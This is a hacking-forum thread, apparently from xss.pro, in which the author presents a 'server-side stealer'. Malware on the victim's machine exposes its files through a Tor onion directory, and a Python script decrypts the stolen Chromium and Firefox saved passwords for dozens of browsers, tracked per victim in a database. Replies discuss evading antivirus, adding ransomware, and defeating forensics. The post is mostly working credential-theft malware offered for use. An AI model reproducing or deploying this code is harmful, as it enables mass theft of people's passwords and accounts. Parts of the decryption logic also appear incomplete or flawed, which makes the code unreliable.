• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья First server side stealer in the world?

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
Автор pryx
Статья написана для
Конкурса статей #10

Do you remember this article I made about the Tor silent server? [https://xss.pro/threads/117713
Basically, it hosts directory listing on the victim's device on Tor and sends the attacker that onion address.

So I was thinking, and I had a new idea: a server-side stealer.

The basic concept is that since directory listing is opened on the victim's device, we could do a GET request to the path of the browser passwords and cookies and a GET request to the private key for decryption.

We can automate this by making a stealer script that does GET requests to the paths of the passwords, cookies, and decryption keys of every new (device) onion address that gets added to the database. To achieve this, we need to make the script connect to the database to check every 10 minutes if there is a new victim. It knows there is a new victim if a new onion address gets added.
1734289993666.png

also since we don't know the {user} name of the device owner, we will make the our malware do that for us
1734290025567.png


We made a few changes to the malware code. Now it sends the username of the device along with the onion address and the password in the same JSON request.

<Ignore the stolen yes/no part; we will talk about it later.>
1734290072318.png

we made a list with paths of every browser (we can add more later)
we will make it process directories

1734290113395.png

we have the username already, the malware sent it to us lol, and we have already defined base_path
we will scrap local state file first
1734290143954.png

boom that was so easy, now we move the crazy stuff, we will scrap the whole users profile folder

1734290172104.png


after the operation is complete we can change the stolen field from no to yes
1734290197535.png
1734290217164.png


now we have all the files needed, the only thing left is decrypting them
so we need to make a new script for decryption, we have local state file and the while users profiles folder. I will paste it in here so u understand the concept even more

Python:
import os
import json
import base64
import sqlite3
import win32crypt
from Crypto.Cipher import AES
import mysql.connector
import time
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

db_config = {
    'user': 'pryxANDdryx',
    'password': 'xssCompetition_serversidestealer',
    'host': 'localhost',
    'database': 'database'
}

def get_decryption_key(local_state_path):
    if not os.path.exists(local_state_path):
        print(f"Local State file not found at {local_state_path}.")
        return None

    print(f"Loading Local State from {local_state_path}...")
    with open(local_state_path, 'r') as f:
        local_state = json.load(f)
    encrypted_key_b64 = local_state['os_crypt']['encrypted_key']
    encrypted_key_with_header = base64.b64decode(encrypted_key_b64)
    encrypted_key = encrypted_key_with_header[5:]
    key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
    print(f"Decryption key retrieved successfully.")
    return key

def decrypt_data(encrypted_data, key):
    try:
        iv = encrypted_data[3:15]
        encrypted_data = encrypted_data[15:]
        cipher = AES.new(key, AES.MODE_GCM, iv)
        decrypted_data = cipher.decrypt(encrypted_data)[:-16]
        return decrypted_data
    except Exception as e:
        print(f"Failed to decrypt data: {e}")
        return None

def decrypt_login_data(login_data_path, decryption_key):
    decrypted_items = []
    if not os.path.exists(login_data_path):
        print(f"Login Data file not found at {login_data_path}.")
        return []

    print(f"Decrypting Login Data from {login_data_path}...")
    try:
        # Connect to the SQLite database
        conn = sqlite3.connect(login_data_path)
        cursor = conn.cursor()

        # Query to fetch the encrypted passwords
        cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
        rows = cursor.fetchall()
        print(f"Found {len(rows)} entries in Login Data.")

        for origin_url, username, encrypted_password in rows:
            print(f"Decrypting password for URL: {origin_url} and username: {username}")
            # Decrypt the password
            decrypted_password = decrypt_data(encrypted_password, decryption_key)
            if decrypted_password:
                decrypted_password = decrypted_password.decode('utf-8')
                decrypted_items.append({
                    'url': origin_url,
                    'username': username,
                    'password': decrypted_password
                })
            else:
                print(f"Failed to decrypt password for URL: {origin_url} and username: {username}")

        conn.close()
    except Exception as e:
        print(f"Failed to process login data: {e}")

    print(f"Decryption complete. Items found: {len(decrypted_items)}")
    return decrypted_items

def decrypt_firefox_data(firefox_profile_path):
    decrypted_items = []
    logins_json_path = os.path.join(firefox_profile_path, 'logins.json')
    key4_db_path = os.path.join(firefox_profile_path, 'key4.db')

    if not os.path.exists(logins_json_path) or not os.path.exists(key4_db_path):
        print(f"Firefox files not found in {firefox_profile_path}.")
        return []

    print(f"Decrypting Firefox data from {firefox_profile_path}...")
    try:
        def get_firefox_key():
            conn = sqlite3.connect(key4_db_path)
            cursor = conn.cursor()
            cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
            item1, item2 = cursor.fetchone()
            conn.close()
            key = PBKDF2HMAC(
                algorithm=hashes.SHA256(),
                length=32,
                salt=base64.b64decode(item2),
                iterations=10000,
                backend=default_backend()
            ).derive(base64.b64decode(item1))
            return key

        key = get_firefox_key()

        # Load and decrypt logins.json
        with open(logins_json_path, 'r') as f:
            logins = json.load(f)
        for login in logins.get('logins', []):
            url = login.get('hostname')
            username = login.get('username')
            encrypted_password = base64.b64decode(login.get('encryptedPassword'))
            cipher = Cipher(algorithms.AES(key), modes.CBC(encrypted_password[:16]), backend=default_backend())
            decryptor = cipher.decryptor()
            decrypted_password = decryptor.update(encrypted_password[16:]) + decryptor.finalize()
            decrypted_items.append({
                'url': url,
                'username': username,
                'password': decrypted_password.decode('utf-8')
            })

    except Exception as e:
        print(f"Failed to process Firefox data: {e}")

    print(f"Decryption complete. Items found: {len(decrypted_items)}")
    return decrypted_items

def process_profiles(profile_path, browser_name):
    if browser_name == 'Firefox':
        # Handle Firefox data
        decrypted_items = decrypt_firefox_data(profile_path)
        if decrypted_items:
            json_file_path = os.path.join(profile_path, 'firefox_data.json')
            with open(json_file_path, 'w') as json_file:
                json.dump(decrypted_items, json_file, indent=4)
            print(f"Decrypted data saved to {json_file_path}")
        else:
            print(f"No decrypted data found for Firefox")
    else:
        local_state_path = os.path.join(profile_path, 'Local State')
        if not os.path.exists(local_state_path):
            print(f"Local State file not found in {profile_path}. Skipping.")
            return []

        print(f"Processing profiles in {profile_path}...")
        decryption_key = get_decryption_key(local_state_path)
        if decryption_key is None:
            print(f"Could not retrieve decryption key from {local_state_path}.")
            return []

        if browser_name in ['Opera', 'OperaGX']:
            # Handle Opera and Opera GX without profiles
            login_data_path = os.path.join(profile_path, 'Login Data')
            decrypted_items = decrypt_login_data(login_data_path, decryption_key)
            if decrypted_items:
                json_file_path = os.path.join(profile_path, f'{browser_name}_data.json')
                with open(json_file_path, 'w') as json_file:
                    json.dump(decrypted_items, json_file, indent=4)
                print(f"Decrypted data saved to {json_file_path}")
            else:
                print(f"No decrypted data found for {browser_name}")
        else:
            # Handle other browsers with profiles
            profiles = ['Default'] + [f'Profile {i}' for i in range(1, 100)]
            for profile in profiles:
                profile_dir = os.path.join(profile_path, profile)
                if os.path.exists(profile_dir):
                    print(f"Processing profile {profile} in {profile_path}")
                    login_data_path = os.path.join(profile_dir, 'Login Data')
                    decrypted_items = decrypt_login_data(login_data_path, decryption_key)

                    if decrypted_items:
                        json_file_path = os.path.join(profile_path, f'{browser_name}_data.json')
                        with open(json_file_path, 'w') as json_file:
                            json.dump(decrypted_items, json_file, indent=4)
                        print(f"Decrypted data saved to {json_file_path}")
                    else:
                        print(f"No decrypted data found for profile {profile}")
                else:
                    print(f"Profile directory {profile_dir} does not exist.")

def process_all_data():
    while True:
        try:
            # Connect to the MySQL database
            conn = mysql.connector.connect(**db_config)
            cursor = conn.cursor()

            # Query to fetch the .onion URLs and check for decrypted status and stolen status
            query = 'SELECT id, onion, stolen, decrypted FROM users WHERE stolen = %s AND decrypted = %s'
            cursor.execute(query, ('yes', 'no'))
            rows = cursor.fetchall()
            print(f"Found {len(rows)} records with stolen 'yes' and decrypted 'no'.")

            if not rows:
                print("No new data to decrypt. Waiting for 1 minute...")
                time.sleep(60)
                continue

            for row in rows:
                onion_id, onion_url, stolen, decrypted = row
                print(f"Processing .onion URL: {onion_url}")

                base_folder_path = os.path.join(r'D:\malpro\creds', onion_url.split('.')[0])
                print(f"Base folder path: {base_folder_path}")

                browser_paths = {
                    'Thorium': os.path.join(base_folder_path, 'Thorium'),
                    'Chrome': os.path.join(base_folder_path, 'Chrome'),
                    'Chrome (x86)': os.path.join(base_folder_path, 'Chrome (x86)'),
                    'Chrome SxS': os.path.join(base_folder_path, 'Chrome SxS'),
                    'Maple': os.path.join(base_folder_path, 'Maple'),
                    'Iridium': os.path.join(base_folder_path, 'Iridium'),
                    '7Star': os.path.join(base_folder_path, '7Star'),
                    'CentBrowser': os.path.join(base_folder_path, 'CentBrowser'),
                    'Chedot': os.path.join(base_folder_path, 'Chedot'),
                    'Vivaldi': os.path.join(base_folder_path, 'Vivaldi'),
                    'Kometa': os.path.join(base_folder_path, 'Kometa'),
                    'Elements': os.path.join(base_folder_path, 'Elements'),
                    'Epic Privacy Browser': os.path.join(base_folder_path, 'Epic Privacy Browser'),
                    'Uran': os.path.join(base_folder_path, 'Uran'),
                    'Fenrir': os.path.join(base_folder_path, 'Fenrir'),
                    'Catalina': os.path.join(base_folder_path, 'Catalina'),
                    'Coowon': os.path.join(base_folder_path, 'Coowon'),
                    'Liebao': os.path.join(base_folder_path, 'Liebao'),
                    'QIP Surf': os.path.join(base_folder_path, 'QIP Surf'),
                    'Orbitum': os.path.join(base_folder_path, 'Orbitum'),
                    'Dragon': os.path.join(base_folder_path, 'Dragon'),
                    '360Browser': os.path.join(base_folder_path, '360Browser'),
                    'Maxthon': os.path.join(base_folder_path, 'Maxthon'),
                    'K-Melon': os.path.join(base_folder_path, 'K-Melon'),
                    'CocCoc': os.path.join(base_folder_path, 'CocCoc'),
                    'Brave': os.path.join(base_folder_path, 'Brave'),
                    'Amigo': os.path.join(base_folder_path, 'Amigo'),
                    'Torch': os.path.join(base_folder_path, 'Torch'),
                    'Sputnik': os.path.join(base_folder_path, 'Sputnik'),
                    'Edge': os.path.join(base_folder_path, 'Edge'),
                    'DCBrowser': os.path.join(base_folder_path, 'DCBrowser'),
                    'Yandex': os.path.join(base_folder_path, 'Yandex'),
                    'UR Browser': os.path.join(base_folder_path, 'UR Browser'),
                    'Slimjet': os.path.join(base_folder_path, 'Slimjet'),
                    'Opera': os.path.join(base_folder_path, 'Opera'),
                    'OperaGX': os.path.join(base_folder_path, 'OperaGX'),
                    'ChromeBeta': os.path.join(base_folder_path, 'ChromeBeta'),
                    'Speed360': os.path.join(base_folder_path, 'Speed360'),
                    'QQBrowser': os.path.join(base_folder_path, 'QQBrowser'),
                    'Sogou': os.path.join(base_folder_path, 'Sogou')
                }
              
                decrypted_any = False

                for browser_name, path in browser_paths.items():
                    print(f"Checking {browser_name} path: {path}")
                    if os.path.exists(path):
                        print(f"Processing {browser_name} data for {onion_url}")
                        process_profiles(path, browser_name)
                        decrypted_any = True
                    else:
                        print(f"{browser_name} path {path} does not exist or is inaccessible.")

                firefox_path = os.path.join(base_folder_path, 'firefox')
                if os.path.exists(firefox_path):
                    print(f"Processing Firefox data for {onion_url}")
                    process_profiles(firefox_path, 'Firefox')
                    decrypted_any = True

                if decrypted_any:
                    update_query = 'UPDATE users SET decrypted = %s WHERE id = %s'
                    cursor.execute(update_query, ('yes', onion_id))
                    conn.commit()
                    print(f"Updated decrypted column to 'yes' for ID {onion_id}")

        except mysql.connector.Error as err:
            print(f"Error: {err}")
        except Exception as e:
            print(f"error niggering: {e}")

        print("Waiting for 1 minute before the next check...")
        time.sleep(60)

if __name__ == "__main__":
    process_all_data()

so basically, what's going to happen in here is:
we have a malware that is going to host directrory listing on tor and we will setup two simple scripts locally, one of them will scrap the encrypted passwords and local state files from each browser, and use them in the second script which is decryption, after decryption we will have the valid passwords, and kaboom, the first server side stealer in the world that legit uses GET requests instead of POST requests
 
Последнее редактирование модератором:
Кодеры. Подскажите, что в коде палится авами?
Питон - не самая лучшая идея, это максимум тестовый стенд, если хочешь, что бы детектив не было - переписывай, например на cpp, rust
 
Питон - не самая лучшая идея, это максимум тестовый стенд, если хочешь, что бы детектив не было - переписывай, например на cpp, rust
Yup, It was in python because it's just the script that will run locally to scrap data, no malware researcher or analysis will ever know that you are scraping passwords if u know how to do it, the stealer code will be in your server, so they will never be able to take a look at your code
 
ransomware in that case would work too actually and you can open tor tab to negotiate instantly : )
also does it escalates privileges?
That's true, you can start a negotiation page with the attackers and victims, but about escalating privileges no, I can't think of a way to escalate privileges using this alone, you still can add your own privilege escalation techniques though if you are going to rewrite it
 
boom that was so easy, now we move the crazy stuff, we will scrap the whole users profile folder
Во первых профилей может быть больше 1, а значит это не только "Default"

Во вторых: я увидел в коде дешифровку только при помощи аес - 1 из 3 когда либо существовавших в хроме
Фаирфокс толком не читал, но там их 5, в коде тоже вроде 1 метод всего
 
The basic concept is that since directory listing is opened on the victim's device, we could do a GET request to the path of the browser passwords and cookies and a GET request to the private key for decryption.
С аес окей, применимо, но с дпапи будет сложнее - нужно доставать пароль\хеш пароля + еще что то, и потом уже дешифровать - на гите гдето лежал скрипт для этого
В случае с шифрованием через сервис не могу толком ничего сказать, т.к. не разбирался что там и как устроено, где и как хранится ключ шифрования
 
Во первых профилей может быть больше 1, а значит это не только "Default"

Во вторых: я увидел в коде дешифровку только при помощи аес - 1 из 3 когда либо существовавших в хроме
Фаирфокс толком не читал, но там их 5, в коде тоже вроде 1 метод всего
yeah that's exactly why we scraped allll the profiles, not only the default profile, for the decryption code, it's a simple poc to explain the concept, you can rewrite it in a different language if you want
 
I see the innovation but not the relevant application. This approach is kind of stupid in my opinion, as you will loose a lot of potential zombies/installs by using Tor. How are you going to handle PC from China or Korea? Both are well known to function well with Tor network because of ISP restrictions. And secondly, the same READ/WRITE operations eventually happen, and as I understood the idea the purpose is to decrease runtime detection through whatever time delay it takes to set all of this up. Next time, call sleep() for 20 seconds and you will save a lot of excess work, because if anything, this stealer is much more "noisy" than other.
 
I see the innovation but not the relevant application. This approach is kind of stupid in my opinion, as you will loose a lot of potential zombies/installs by using Tor. How are you going to handle PC from China or Korea? Both are well known to function well with Tor network because of ISP restrictions. And secondly, the same READ/WRITE operations eventually happen, and as I understood the idea the purpose is to decrease runtime detection through whatever time delay it takes to set all of this up. Next time, call sleep() for 20 seconds and you will save a lot of excess work, because if anything, this stealer is much more "noisy" than other.
Your assumptions are off. First, the use of Tor doesn’t inherently limit installs, it’s simply a transport layer. The onion service isn’t hosting massive traffic or large-scale operations, it’s a stealthy callback mechanism. Most endpoint infections can set up a Tor connection even north korea lmao, but they cannot use the tor network, and fallback mechanisms for non Tor environments are trivial to implement.

Second, the READ/WRITE operations you mention aren’t handled normally. The victim’s machine isn’t running bulk data exfiltration locally. Only the onion setup happens there, which is far less likely to trigger runtime detection compared to standard infostealers directly writing and transmitting data via POST.

Lastly, comparing this to adding a sleep() shows you’ve misunderstood the model entirely. The delay isn’t about runtime detection, it's abou switching the rist of detection from the victim’s device to an attacker-controlled server where forensic tools are irrelevant.
 
Your assumptions are off. First, the use of Tor doesn’t inherently limit installs, it’s simply a transport layer. The onion service isn’t hosting massive traffic or large-scale operations, it’s a stealthy callback mechanism. Most endpoint infections can set up a Tor connection even north korea lmao, but they cannot use the tor network, and fallback mechanisms for non Tor environments are trivial to implement.

Second, the READ/WRITE operations you mention aren’t handled normally. The victim’s machine isn’t running bulk data exfiltration locally. Only the onion setup happens there, which is far less likely to trigger runtime detection compared to standard infostealers directly writing and transmitting data via POST.

Lastly, comparing this to adding a sleep() shows you’ve misunderstood the model entirely. The delay isn’t about runtime detection, it's abou switching the rist of detection from the victim’s device to an attacker-controlled server where forensic tools are irrelevant.

It seems you are in fact the one who does not understand. The transport layer and the underlying packets before the handshake are not going to be completed due to DPI. It's seems you have not deployed malware in these regions, and I'm guessing this is your first stealer? Your idea is impractical and not well researched. If you wanted to achieve stealth on the transport layer you should have discarded the usage of Tor and aimed to impersonate a commonly used protocol like DNS.

Metric data:

userstats-relay-country.png


userstats-relay-country.png
userstats-relay-country.png
 
Последнее редактирование:
It seems you are in fact the one who does not understand. The transport layer and the underlying packets before the handshake are not going to be completed due to DPI. It's seems you have not deployed malware in these regions, and I'm guessing this is your first stealer? Your idea is impractical and not well researched. If you wanted to achieve stealth on the transport layer you should have discarded the usage of Tor and aimed to impersonate a commonly used protocol like DNS.
Your claim about DPI blocking Tor in certain regions is noted, but it overlooks the flexibility of the approach. The idea isn’t about relying solely on Tor, it's a modular design where fallback mechanisms (including DNS tunneling or other transport layers) can be easily integrated when needed.++ you forgot that this is just a poc and u gotta rewrite it yourself but whatever

As for your comment on my experience, I’ve been in this field long enough to know that you should be open minded, flexibility is the key
The goal isn’t to use a one-size-fits-all solution but to adapt to circumstances. Tor, DNS, or any other protocol, these are just transport layers.
The focus is on making the detection risk to the server side lower, tools like DPI and host-based forensics are ineffective. So, whether it’s Tor, DNS, or something else.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх